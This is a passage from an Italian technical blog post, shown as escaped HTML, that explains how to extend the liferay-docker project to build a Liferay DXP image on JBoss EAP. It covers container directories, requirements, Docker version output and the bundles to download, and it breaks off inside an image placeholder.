che PWD sta per Pathname Working Directory.&lt;/p&gt;&lt;p&gt;I file nella directory host &lt;code&gt;$(pwd)/xyz123/files&lt;/code&gt; sono disponibili anche nella
directory del contenitore &lt;strong&gt;/mnt/liferay/files&lt;/strong&gt; e verranno copiati in /opt/liferay
prima dell&amp;#x27;avvio di Liferay DXP.&lt;/p&gt;&lt;p&gt;Ad esempio, se desideri modificare il file setenv.sh di Tomcat, inserisci le
modifiche in &lt;code&gt;$(pwd)/xyz123/files/tomcat/bin/setenv.sh&lt;/code&gt;, in questo modo il file
setenv.sh verrà sovrascritto in &lt;code&gt;/opt/liferay/tomcat/bin/setenv.sh&lt;/code&gt; prima
dell&amp;#x27;avvio di Liferay DXP.&lt;/p&gt;&lt;h3 id=&quot;15-scripts&quot;&gt;1.5. Scripts&lt;/h3&gt;&lt;p&gt;Tutti gli script nella directory del container &lt;strong&gt;/mnt/liferay/scripts&lt;/strong&gt; verranno
eseguiti prima dell&amp;#x27;avvio di Liferay DXP. È possibile per esempio installare degli
script che fanno pulizia delle directory di cache prima che il portale salga su.
Posiziona i tuoi script in &lt;code&gt;$(pwd)/xyz123/scripts&lt;/code&gt;.&lt;/p&gt;&lt;h3 id=&quot;16-deploy&quot;&gt;1.6. Deploy&lt;/h3&gt;&lt;p&gt;Copia i file in &lt;code&gt;$(pwd)/xyz123/deploy&lt;/code&gt; sul sistema operativo host per installare
i moduli (o bundle) su Liferay DXP in fase di runtime. La directory può essere
utilizzata per installare il file della licenza, quest&amp;#x27;ultima necessaria per poter
utilizzare il prodotto.&lt;/p&gt;&lt;h2 id=&quot;2-estensione-del-progetto-liferay-docker&quot;&gt;2. Estensione del progetto liferay-docker&lt;/h2&gt;&lt;p&gt;Liferay produce le proprie immagini Docker ufficiali tramite il progetto pubblicato
su GitHub che sia chiama &lt;a href=&quot;https://github.com/liferay/liferay-docker&quot;&gt;liferay-docker&lt;/a&gt;,
progetto non molto diffuso al grande pubblico. Le immagini prodotte sono però
esclusivamente create partendo dal bundle con Apache Tomcat.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7302fa2a11f83c488392a1576365f12f/b6e50/liferay-docker-github-project.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;198\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20198\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M19%20120c-2%202%201%203%2027%203%2021%200%2026-1%2026-2l-5-1-7-1c-1%200-2%200-2%202h-1c-3-2-6-2-7%200h-3l-3-1-4%201-1%201-1-1c0-1-17-2-19-1m329%2057l-43%201%2042%201%2044%201c2%200%205-1%204-3l-3-1-44%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7302fa2a11f83c488392a1576365f12f/c85cb/liferay-docker-github-project.webp 300w,/static/7302fa2a11f83c488392a1576365f12f/e88ff/liferay-docker-github-project.webp 600w,/static/7302fa2a11f83c488392a1576365f12f/92f8c/liferay-docker-github-project.webp 1200w,/static/7302fa2a11f83c488392a1576365f12f/62ed8/liferay-docker-github-project.webp 1800w,/static/7302fa2a11f83c488392a1576365f12f/511b7/liferay-docker-github-project.webp 1862w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7302fa2a11f83c488392a1576365f12f/5a46d/liferay-docker-github-project.png 300w,/static/7302fa2a11f83c488392a1576365f12f/0a47e/liferay-docker-github-project.png 600w,/static/7302fa2a11f83c488392a1576365f12f/c1b63/liferay-docker-github-project.png 1200w,/static/7302fa2a11f83c488392a1576365f12f/d61c2/liferay-docker-github-project.png 1800w,/static/7302fa2a11f83c488392a1576365f12f/b6e50/liferay-docker-github-project.png 1862w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Home page del progetto liferay-docker su GitHub (https://github.com/liferay/liferay-docker)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7302fa2a11f83c488392a1576365f12f/c1b63/liferay-docker-github-project.png&quot; title=&quot;Figura 2 - Home page del progetto liferay-docker su GitHub (https://github.com/liferay/liferay-docker)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Home page del progetto liferay-docker su GitHub (https://github.com/liferay/liferay-docker)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La necessità è invece quella di realizzare un&amp;#x27;immagine Docker in cui Liferay sia
installato su JBoss EAP. È opportuno però creare la nuova immagine mantenendo i
&lt;strong&gt;&amp;quot;servizi offerti&amp;quot;&lt;/strong&gt; dalle immagini ufficiali prodotte da Liferay (vedi: file system,
variabili di ambiente, supporto per l&amp;#x27;esecuzione di script pre-start, etc.).&lt;/p&gt;&lt;p&gt;Per raggiungere quest&amp;#x27;obiettivo basta estendere il progetto liferay-docker
affinché sia possibile:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;eseguire la build dell&amp;#x27;immagine Docker in cui Liferay sia installato su JBoss EAP;&lt;/li&gt;&lt;li&gt;eseguire il push dell&amp;#x27;immagine Docker creata verso un repository;&lt;/li&gt;&lt;li&gt;eseguire l&amp;#x27;installazione del Patching Tool, Fix Pack, Hot Fix e Security Fix Pack di Liferay direttamente in fase di build;&lt;/li&gt;&lt;li&gt;eseguire l&amp;#x27;installazione della Patch di JBoss EAP.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;L&amp;#x27;oggetto dell&amp;#x27;estensione è lo script &lt;strong&gt;build_local_image.sh&lt;/strong&gt;. Questo è responsabile
dell&amp;#x27;esecuzione delle operazioni indicate precedentemente, di cui, le ultime
sono opzionali. Il diagramma mostrato dalla figura a seguire illustra le varie
fasi del processo di costruzione dell&amp;#x27;immagine Docker di Liferay.&lt;/p&gt;&lt;p&gt;La creazione dell&amp;#x27;immagine Docker segue il processo d&amp;#x27;installazione di Liferay
su JBoss EAP così come descritto dal documento ufficiale di Liferay chiamato
&lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/installing-liferay/installing-liferay-on-an-application-server/installing-on-jboss-eap.html&quot;&gt;Installing on JBoss EAP&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f2ad415d89b7722aad9d825fe014974e/0c307/proceso-creazione-immagine-docker-it.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;219\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20219\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M87%201l-1%2010v8H49l-1-3-4-5c-4-3-4-2-1%201%207%207%205%2013-5%2019-5%202-22%202-27-1-15-7-12-18%206-23%206-1%2010-1%2021%202%202%200%202%200%200-2-6-3-22-2-28%201-13%207-13%2018%201%2024s35%200%2037-10l1-2h17l17%201h2l1%208%201%208V21l1-19c2-2%2081-2%2083%200l1%2019v16l1-9v-8h12l11%201h2c2%200%202%200%202%209l1%209h85v-9l1-9%2011-1%2012%201h2c2%200%202%200%202%209l1%209h85V11c0-8-1-7-1%209v18h-83l-1-18-1-10v9h-28v-9c0-5-1-1-1%2010v18h-83l-1-18-1-10v9h-27v-8l-1-10c-2-2-83-2-85%200m238%2015c0%202%203%203%203%200h1c0%202%202%203%202%201h1l1%201%201-1v-2l1%202%209%201%208-1v-1c1-1%201%200%201%201h2l2-1-1%201c-1%201%200%201%201%201%202%200%203-1%203-2h1l3%202c1%200%202%200%201-1l-1-1h1l1-1-6-1h-13l-1%201-1%201c-1%201-1%201-1-1v-2l-1%202c0%202%200%202-1%200l-1-1h-2l-1%201-1%201h-1c1-2%200-3-3-2h-5c-3-1-3-1-3%202m32%2028v4H129v8l-20%201-22%201c-1%202-2%2036%200%2036V78l1-19c2-2%2081-2%2083%200l1%2019v16l1-9v-8h12l11%201h2c2%200%202%200%202%209l1%209h85v-9l1-9%2011-1%2012%201h2c2%200%202%200%202%209l1%209h85V59l-1%2018v18h-83l-1-18-1-10v9h-28v-9c0-5-1-1-1%2010v18h-83l-1-18-1-10v9h-27v-8l-1-10-21-1h-20l-1-4v-4h114c123%200%20115%200%20114-6-1-2-1-2-1%201m-36%2028c0%203%202%204%203%201h1c0%202%202%203%202%201h1l1%201%201-1v-2l1%202c0%202%2018%202%2020-1h2l-1%201c-1%201%200%201%201%201%202%200%203-1%203-2h1c1%202%204%203%203%200l1-1h1l-6-1h-13l-1%201-1%201c-1%201-1%200-1-1%200-2%200-2-1%200l-1%203v-3c0-1%200-2-1-1h-2l-1%201-1%201c-1%201-1%200-1-1l-1-1h-5l-3%201h-1c-1-2-1-2-1%200m-191%2039l-1%204v2c1%202%201%202-19%202l-22%201v37l43%201%2042-1%201-10v-8h11l11%201h2c2-1%202-1%202%208l1%2010h85v-19h12l12%201h2c2-1%202-1%202%208l1%2010h21l21%201v10H130v4l-1%204v2c0%202%200%202-20%202-11%200-2%201%2022%201%2023%200%2032-1%2021-1h-21v-11h227v-12h42v-38l-42-1h-42l41%201%2042%201v36h-83v-19l-1-18-1%209c0%209%200%209-2%208h-2l-12%201h-12v-18h-85l-1%209c0%209%200%209-2%208h-2l-11%201h-11v-8l-1-10-21-1h-20l-1-5v-6h113l114-1H130v4m-41%2010v35c2%202%2081%202%2083%200l1-17-1-18c-2-2-81-2-83%200m112%200v19l1%2017h83v-36l-42-1-42%201m24%2011c0%201%200%202-1%201l-3%202c-1%201-1%201-1-1%200-1%200-2-1-1v1l-1%201-1-1-3-1c-2%200-3%201-3%202%200%202%200%202%201%201l1-1c0%203%2024%203%2026%200h2c2%202%202%202%203%200h1c0%201%201%202%203%202s2%200%201-1v-1l1-1c0-2-20-1-21%201l-1-1-1-3v6l-1-3-1-2m-24%2050l-1%209c0%208%200%208-2%208h-2l-11%201h-11v-8l-1-9v16a74%2074%200%2001-1%2020c1%200%202-3%202-11v-7h26v9l1-9%201-18h83v18c0%2010%201%2014%201%209v-9h43v3c3%209%208%2011%2025%2011%2018%200%2024-3%2024-15%200-10-6-14-21-15-18-1-24%202-27%2011l-3%203h-1l-20%201h-19l-1-9v-9l-43-1-42%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f2ad415d89b7722aad9d825fe014974e/c85cb/proceso-creazione-immagine-docker-it.webp 300w,/static/f2ad415d89b7722aad9d825fe014974e/e88ff/proceso-creazione-immagine-docker-it.webp 600w,/static/f2ad415d89b7722aad9d825fe014974e/92f8c/proceso-creazione-immagine-docker-it.webp 1200w,/static/f2ad415d89b7722aad9d825fe014974e/62ed8/proceso-creazione-immagine-docker-it.webp 1800w,/static/f2ad415d89b7722aad9d825fe014974e/46261/proceso-creazione-immagine-docker-it.webp 2400w,/static/f2ad415d89b7722aad9d825fe014974e/bc811/proceso-creazione-immagine-docker-it.webp 2526w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f2ad415d89b7722aad9d825fe014974e/5a46d/proceso-creazione-immagine-docker-it.png 300w,/static/f2ad415d89b7722aad9d825fe014974e/0a47e/proceso-creazione-immagine-docker-it.png 600w,/static/f2ad415d89b7722aad9d825fe014974e/c1b63/proceso-creazione-immagine-docker-it.png 1200w,/static/f2ad415d89b7722aad9d825fe014974e/d61c2/proceso-creazione-immagine-docker-it.png 1800w,/static/f2ad415d89b7722aad9d825fe014974e/97a96/proceso-creazione-immagine-docker-it.png 2400w,/static/f2ad415d89b7722aad9d825fe014974e/0c307/proceso-creazione-immagine-docker-it.png 2526w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Processo di creazione dell&amp;#x27;immagine Docker di Liferay DXP + JBoss EAP (https://github.com/liferay/liferay-docker)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f2ad415d89b7722aad9d825fe014974e/c1b63/proceso-creazione-immagine-docker-it.png&quot; title=&quot;Figura 3 - Processo di creazione dell&amp;#x27;immagine Docker di Liferay DXP + JBoss EAP (https://github.com/liferay/liferay-docker)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Processo di creazione dell&amp;#x27;immagine Docker di Liferay DXP + JBoss EAP (https://github.com/liferay/liferay-docker)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;3-requisiti&quot;&gt;3. Requisiti&lt;/h2&gt;&lt;p&gt;Affinché sia possibile portare a termine con successo la creazione dell&amp;#x27;immagine
Docker, è necessario che siano rispettati una serie di requisiti software per la
macchina dedicata all&amp;#x27;operazione di build. I requisiti software da soddisfare
sono i seguenti.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Sistema Operativo Unix/Linux/macOS. In alternativa è sufficiente avere la disponibilità di una shell Bash (versione 3.x).&lt;/li&gt;&lt;li&gt;Docker Engine 18.x o 19.x.&lt;/li&gt;&lt;li&gt;Git 2.x (opzionale).&lt;/li&gt;&lt;li&gt;JDK 1.8 0 11.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Per quanto riguarda Docker è possibile installare Docker Desktop sulla propria
postazione di lavoro, disponibile sia per sistemi operativi Microsoft sia per
sistemi operativi Apple. Consiglio l&amp;#x27;installazione della versione stable
evitando la versione edge, quest&amp;#x27;ultima utile per sperimentare le ultime feature.&lt;/p&gt;&lt;p&gt;Nel caso aveste già installato Docker, verificare la versione presente sul sistema
utilizzando il comando &lt;code&gt;docker version&lt;/code&gt; accertandovi che la versione sia nel range
indicato dai requisiti. A seguire è mostrato un esempio di output del comando.
In questo caso la versione è la 19.03.13, quindi in linea con quanto richiesto.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Client: Docker Engine - Community&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Cloud integration  0.1.18&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Version:           19.03.13&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; API version:       1.40&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Go version:        go1.13.15&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Git commit:        4484c46d9d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Built:             Wed Sep 16 16:58:31 2020&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; OS/Arch:           darwin/amd64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Experimental:      &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Server: Docker Engine - Community&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Engine:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          19.03.13&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  API version:      1.40 (minimum version 1.12)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Go version:       go1.13.15&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Git commit:       4484c46d9d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Built:            Wed Sep 16 17:07:04 2020&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  OS/Arch:          linux/amd64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Experimental:     &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; containerd:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          v1.3.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  GitCommit:        8fba4e9a7d01810a393d5d25a3621dc101981175&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; runc:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          1.0.0-rc10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  GitCommit:        dc9208a3303feef5b3839f4323d9beb36df0a9dd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; docker-init:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          0.18.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  GitCommit:        fec3683&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Output del comando docker version&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il software necessario alla creazione dell&amp;#x27;immagine può essere scaricato come archivio
&lt;a href=&quot;https://github.com/smclab/liferay-docker/archive/v1.0.0.zip&quot;&gt;liferay-docker-1.0.0.zip&lt;/a&gt;.&lt;/p&gt;&lt;h2 id=&quot;4-download-dipendenze&quot;&gt;4. Download dipendenze&lt;/h2&gt;&lt;p&gt;Il processo di creazione dell&amp;#x27;immagine richiede che siano disponibili i seguenti
bundle.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Liferay DXP WAR&lt;/li&gt;&lt;li&gt;Liferay DXP Dependencies&lt;/li&gt;&lt;li&gt;Liferay DXP OSGi Dependencies&lt;/li&gt;&lt;li&gt;Liferay Patching Tool&lt;/li&gt;&lt;li&gt;Liferay DXP Fix Pack (opzionale)&lt;/li&gt;&lt;li&gt;Liferay DXP Hot Fix (opzionale)&lt;/li&gt;&lt;li&gt;Liferay DXP Security Pack (opzionale)&lt;/li&gt;&lt;li&gt;Red Hat JBoss EAP&lt;/li&gt;&lt;li&gt;Red Hat JBoss EAP Patch (opzionale)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I primi cinque bundle in elenco riguardano Liferay e questi devono essere
scaricati dal &lt;a href=&quot;https://customer.liferay.com/&quot;&gt;Customer Portal di Liferay&lt;/a&gt;, è
quindi richiesto un account che sia abilitato all&amp;#x27;accesso e download.&lt;/p&gt;&lt;p&gt;I bundle che riguardano, Fix Pack, Hot Fix e Security Pack di Liferay sono opzionali,
necessari nel caso in cui vogliate applicare in fase di build dell&amp;#x27;immagine Docker
di Liferay una specifica Fix Pack, Hot Fix o Security Pack. La figura a seguire
mostra la sezione di download del Customer Portal di Liferay.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1114px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/cd536/liferay-customer-portal-download-fix-pack.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;304\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20304\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M230%2067v21h110V45H230v22m2%200v19h106V47H232v20m27-17l-1%206c0%204%200%205-3%205h-6l1%203%201%202v-2c0-2%200-2%201-1%201%202%202%202%202%201h1c0%202%200%202%202%201%201-1%201%200%201%209%200%208%200%2010%202%2010%203%202%2072%201%2073%200l1-18V50l-38-1-37%201m79%20222l-1%206v5h34v-11l-17-1-16%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/c85cb/liferay-customer-portal-download-fix-pack.webp 300w,/static/eb20b54e4d25c72a58ac9999430882c9/e88ff/liferay-customer-portal-download-fix-pack.webp 600w,/static/eb20b54e4d25c72a58ac9999430882c9/180af/liferay-customer-portal-download-fix-pack.webp 1114w&quot; sizes=&quot;(max-width: 1114px) 100vw, 1114px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/5a46d/liferay-customer-portal-download-fix-pack.png 300w,/static/eb20b54e4d25c72a58ac9999430882c9/0a47e/liferay-customer-portal-download-fix-pack.png 600w,/static/eb20b54e4d25c72a58ac9999430882c9/cd536/liferay-customer-portal-download-fix-pack.png 1114w&quot; sizes=&quot;(max-width: 1114px) 100vw, 1114px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Sezione Download Fix Packs, Product/Service Packs e Security Fix Packs del Customer Portal di Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/cd536/liferay-customer-portal-download-fix-pack.png&quot; title=&quot;Figura 4 - Sezione Download Fix Packs, Product/Service Packs e Security Fix Packs del Customer Portal di Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Sezione Download Fix Packs, Product/Service Packs e Security Fix Packs del Customer Portal di Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Per quando riguarda il bundle di JBoss EAP, questo può essere scaricato in
versione GA e le eventuali patch dal RedHat Customer Portal.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:959px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/d7abb/customer-portal-redhat-jboss-download.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;175\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20175\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%204C6%206%206%208%209%208l2%201-3%201H7c2%202%205%202%205%200h2c1%202%204%201%204-1%201-2%201-2%201%200%200%203%202%203%202%200l1-2%201%202c0%202%202%204%202%202v-1l-1-1%201-2%201%201c0%203%202%203%203%202h1c0%202%202%201%202-1h1c0%203%207%203%207%200V7l1%202%203%202c2%200%202%200%201-1l-1-1c2%200%202-1%202-2-1-2-4-2-7-1h-3c-1-1-5%200-5%201h-3l-2-1c-2-2-3-2-4-1h-1V3l-2%202-2%201h-3c-1%202-2%202-4%200-2-1-2-1%200-1%202%201%203%200%200-1H7m43%200l-1%204c0%203%200%203%202%203l4-1h11c0%202%202%201%202-1h1c0%203%202%202%202%200l1-2v2c0%202%200%202%205%202h9l2-1%209%201c2%200%201-3-1-3l1-1c1-1%200-1-3-1l-1-2-3%201c-2%201-3%202-4%201h-2v2c-1%201-2%200-3-1-2-2-2-2-3-1-2%201-2%201-2-1s0-2-1-1l-4%202-4%201h-4l-1-1h-4c-1%201-2%201-4-1-1-2-3-3-4-1m13%2024c0%203%202%204%204%202l2-1c1%202%207%202%208%200%202-1%202-1%202%201s0%202%202%201l3-2h1c1%202%208%202%208%200s-1-3-3-2h-3v-1l-2-1-9%201-9%202-2%201v-2l1-1c1-1%201-1-1-1s-2%201-2%203m33-1v2l3%201c1%202%202%202%203%201h3l10-1c7%201%2010%200%2011-1h1l1%201c2-2%200-4-4-4h-14l-1-1-2%201-4%201-5-1c0-2-2-1-2%201M32%2059h22v5c0%203%200%204%202%204a12251%2012251%200%2001224-2H165v-3l-1-2v3c0%202%200%202-3%202s-3%200-2-1c2-2%200-4-2-4s-2%200-1%201c2%200%203%202%201%202v1l-1%201-1-2-1-2v2c0%202%200%202-15%202-16%200-16%200-15-2l-1-2-1%203-9%201c-6%200-8%200-6-1h4l1-1v-1h1l-5-1h-3v-1c-2%200-2%201-2%203%201%202%201%202-4%202-4%200-4%200-4-2%200-3%200-3-4-3-3%200-4%201-4%202l1%202h2l-17%201H55v-8H10l22%201M6%20121v50h389v-44l-1-38v6H7V83h350V70H6v51m282-32c0%202%202%203%203%202h21c1%201%203-2%203-3h-14l-3-1-4%201h-1c0-2-5-1-5%201M7%20108v12h387V96H7v12m281%206c0%202%202%203%203%202h20c2%201%205-1%204-3h-14l-3-1-4%201h-1c0-2-5-1-5%201M7%20133v12h387v-24H7v12m281%206c0%202%202%203%203%202h4c1%201%20